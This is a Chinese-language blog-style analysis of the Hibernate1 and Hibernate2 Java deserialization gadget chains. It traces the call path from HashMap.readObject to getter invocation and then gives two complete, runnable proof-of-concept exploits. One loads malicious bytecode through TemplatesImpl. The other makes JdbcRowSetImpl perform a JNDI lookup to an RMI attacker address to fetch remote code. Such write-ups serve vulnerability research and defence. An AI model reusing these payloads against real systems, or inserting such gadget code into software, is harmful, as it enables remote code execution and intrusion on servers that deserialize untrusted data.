参考链接1        参考链接2
Hibernate1
这也是可以通过调用任意getter函数来进行代码执行的一个类
首先先给上调用栈
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | HashMap.readObject()TypedValue.hashCode()
 ValueHolder.getValue()
 ValueHolder.DeferredInitializer().initialize()
 ComponentType.getHashCode()
 PojoComponentTuplizer.getPropertyValue()
 AbstractComponentTuplizer.getPropertyValue()
 BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get()
 TemplatesImpl.getOutputProperties()
 
 | 
我们还是老样子 从能够执行命令的地方开始分析
BasicPropertyAccessor#get  方法

这个的话是可以调用任意方法
这里可控的两点就是method和这个target参数
BasicPropertyAccessor#BasicGetter  方法

这个类的构造方法是可以设置这个method方法的
BasicPropertyAccessor#creatGetter  方法

跟进这个方法
BasicPropertyAccessor#getGetterOrNull   方法

接着跟进这个方法
BasicPropertyAccessor#getterMethod  方法

- 首先第一步就是先获取到这个theClass这个类里的所有方法
- 然后判断这些方法是是否存在参数  如果存在参数的话就退出
- 接着就判断无参数的方法是否是get或者is开头的
- 如果满足以上条件的话就将get或is后面的东西转化为小写并返回

在BasicPropertyAccessor#getterMethod执行完后  就会将method进行返回  然后就返回BasicGetter的构造方法  这样的话就给method给配置完成了
知道上述的东西参数怎么配置完之后  我们就得找找谁能调用这个get方法
经过查找发现在抽象类org.hibernate.tuple.component.AbstractComponentTuplizer中定义了成员变量getters,并且通过getPropertyValue()方法调用get方法,而getPropertyValues()又调用了getPropertyValue()
    
就是这两个方法
接着找谁调用了getPropertyValues()方法,由于这是抽象类,因此该找实现类哪里调用了
但是抽象类我们无法调用,只能使用它的子类,AbstractComponentTuplizer 有两个子类,一个是 PojoComponentTuplizer,一个是 DynamicMapComponentTuplizer,这对应着 Hibernate 的实体对象的类型,即 pojo 和 dynamic-map。pojo 代表将 Hibernate 类型映射为 Java 实体类,而 dynamic-map 将映射为 Map 对象。
这里选择 PojoComponentTuplizer 类,他的 getPropertyValues() 方法会调用其父类的此方法。
| 12
 3
 4
 5
 6
 7
 
 | public Object[] getPropertyValues(Object component) throws HibernateException {if (component == BackrefPropertyAccessor.UNKNOWN) {
 return new Object[this.propertySpan];
 } else {
 return this.optimizer != null && this.optimizer.getAccessOptimizer() != null ? this.optimizer.getAccessOptimizer().getPropertyValues(component) : super.getPropertyValues(component);
 }
 }
 
 | 

这里就是会调用到父类里的getPropertyValues方法
而这个方法在ComponentType中又被调用

这里让componentTuplizer为PojoComponentTuplizer即可接上链子,而在该类的getHashcode方法中又调用了getPropertyValue

此现在该着哪里可以接上getHashcode,这里就再正向分析一波,首先找到在TypedValue类中的initTransients是调用getHashcode了的

那么就接着找谁调用了这个initTransients   这个方法

最后在这个ValueHolder#getValue()里带调用了这个initialize方法
那么这个getValue方法是在这个TypedValue#hashCode()方法来调用

(这个this.hashcode是在调用这个initialize的时候来给赋值的)

那么我们现在就走到了TypedValue#hashcode这个方法这里了
那么有经验的师傅就能想到使用hashMap来当入口来触发了
(就是最外层就是hashMap)
POC如下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 
 | package org.example;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import javassist.ClassPool;
 import org.hibernate.engine.spi.TypedValue;
 import org.hibernate.type.Type;
 import sun.reflect.ReflectionFactory;
 
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.ObjectInputStream;
 import java.io.ObjectOutputStream;
 import java.lang.reflect.*;
 import java.util.HashMap;
 
 
 
 
 
 public class Hibernate1 {
 
 public static String fileName = "Hibernate1.bin";
 public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }
 public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
 Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
 objCons.setAccessible(true);
 Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
 sc.setAccessible(true);
 return (T) sc.newInstance(consArgs);
 }
 public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
 return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
 }
 
 public static void main(String[] args) throws Exception {
 
 Class<?> componentTypeClass             = Class.forName("org.hibernate.type.ComponentType");
 Class<?> pojoComponentTuplizerClass     = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
 Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
 
 
 
 TemplatesImpl tmpl = new TemplatesImpl();
 setFieldValue(tmpl, "_bytecodes", new byte[][]{
 ClassPool.getDefault().get(evil.class.getName()).toBytecode()
 });
 setFieldValue(tmpl, "_name", "HelloTemplatesImpl");
 setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
 Method  method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");
 
 Object getter;
 try {
 
 Class<?>       getterImpl  = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
 Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
 constructor.setAccessible(true);
 getter = constructor.newInstance(null, null, method);
 } catch (Exception ignored) {
 
 Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
 Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
 constructor.setAccessible(true);
 getter = constructor.newInstance(tmpl.getClass(), method, "outputProperties");
 }
 
 
 Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);
 
 
 Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
 field.setAccessible(true);
 Object getters = Array.newInstance(getter.getClass(), 1);
 Array.set(getters, 0, getter);
 field.set(tuplizer, getters);
 
 
 Object type = createWithoutConstructor(componentTypeClass);
 
 
 setFieldValue(type,"componentTuplizer",tuplizer);
 setFieldValue(type,"propertySpan",1);
 setFieldValue(type,"propertyTypes",new Type[]{(Type) type});
 
 
 TypedValue typedValue = new TypedValue((Type) type, null);
 
 
 HashMap<Object, Object> hashMap = new HashMap<>();
 hashMap.put(typedValue, "su18");
 
 
 setFieldValue(typedValue,"value",tmpl);
 
 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(barr);
 oos.writeObject(hashMap);
 oos.close();
 
 System.out.println(barr);
 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
 Object o = (Object)ois.readObject();
 }
 
 }
 
 | 

完整的利用链

这里这样写是因为版本的不同  调用链在这一块也是会不同的
总结
- 利用说明:
- 由 HashMap 的反序列化触发 TypedValue 的 hashCode,调用到 ComponentType 的getHashCode方法,调用 PojoComponentTuplizer 的getPropertyValue的方法,然后使用BasicPropertyAccessor$BasicGetter调用get方法,触发 TemplatesImpl 的getOutputProperties方法。
 
- 依赖版本
Hibernate : 3-5
- 本次复现用的依赖版本
| 12
 3
 4
 5
 6
 7
 8
 
 | <dependencies>
 <dependency>
 <groupId>org.hibernate</groupId>
 <artifactId>hibernate-core</artifactId>
 <version>4.3.11.Final</version>
 </dependency>
 </dependencies>
 
 | 

这位师傅提出了一个想法  可以学习一下为什么   
Hibernate2
既然是触发 getter 方法,这就让我们想到了 fastjson 的经典触发方式,除了 TemplatesImpl 实例化恶意类字节码,还有 JdbcRowSetImpl 触发恶意 JNDI 查询,Hibernate2 就是这种方式,不知道这两个漏洞是谁先出的,谁借鉴的谁。
在 fastjson 中使用 JdbcRowSetImpl 的 setAutoCommit(setter)方法触发 JNDI 查询,而在 Hibernate2 中由于是触发 getter 方法,因此我们选择 getDatabaseMetaData。
POC
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 
 | package org.example;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import com.sun.rowset.JdbcRowSetImpl;
 import javassist.ClassPool;
 import org.hibernate.engine.spi.TypedValue;
 import org.hibernate.type.Type;
 import sun.reflect.ReflectionFactory;
 
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.ObjectInputStream;
 import java.io.ObjectOutputStream;
 import java.lang.reflect.*;
 import java.util.HashMap;
 
 
 
 
 
 public class Hibernate2 {
 
 public static String fileName = "Hibernate1.bin";
 public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }
 public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
 Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
 objCons.setAccessible(true);
 Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
 sc.setAccessible(true);
 return (T) sc.newInstance(consArgs);
 }
 public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
 return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
 }
 
 public static void main(String[] args) throws Exception {
 
 Class<?> componentTypeClass             = Class.forName("org.hibernate.type.ComponentType");
 Class<?> pojoComponentTuplizerClass     = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
 Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
 
 
 
 JdbcRowSetImpl rs = new JdbcRowSetImpl();
 rs.setDataSourceName("rmi://192.168.142.129:9999/evilclass");
 Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");
 Object getter;
 try {
 
 Class<?>       getterImpl  = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
 Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
 constructor.setAccessible(true);
 getter = constructor.newInstance(null, null, method);
 } catch (Exception ignored) {
 
 Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
 Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
 constructor.setAccessible(true);
 getter = constructor.newInstance(rs.getClass(), method, "databaseMetaData");
 }
 
 
 Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);
 
 
 Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
 field.setAccessible(true);
 Object getters = Array.newInstance(getter.getClass(), 1);
 Array.set(getters, 0, getter);
 field.set(tuplizer, getters);
 
 
 Object type = createWithoutConstructor(componentTypeClass);
 
 
 setFieldValue(type,"componentTuplizer",tuplizer);
 setFieldValue(type,"propertySpan",1);
 setFieldValue(type,"propertyTypes",new Type[]{(Type) type});
 
 
 TypedValue typedValue = new TypedValue((Type) type, null);
 
 
 HashMap<Object, Object> hashMap = new HashMap<>();
 hashMap.put(typedValue, "su18");
 
 
 setFieldValue(typedValue,"value",rs);
 
 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(barr);
 oos.writeObject(hashMap);
 oos.close();
 
 System.out.println(barr);
 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
 Object o = (Object)ois.readObject();
 }
 
 }
 
 | 


这样就能执行了   (只是比较慢)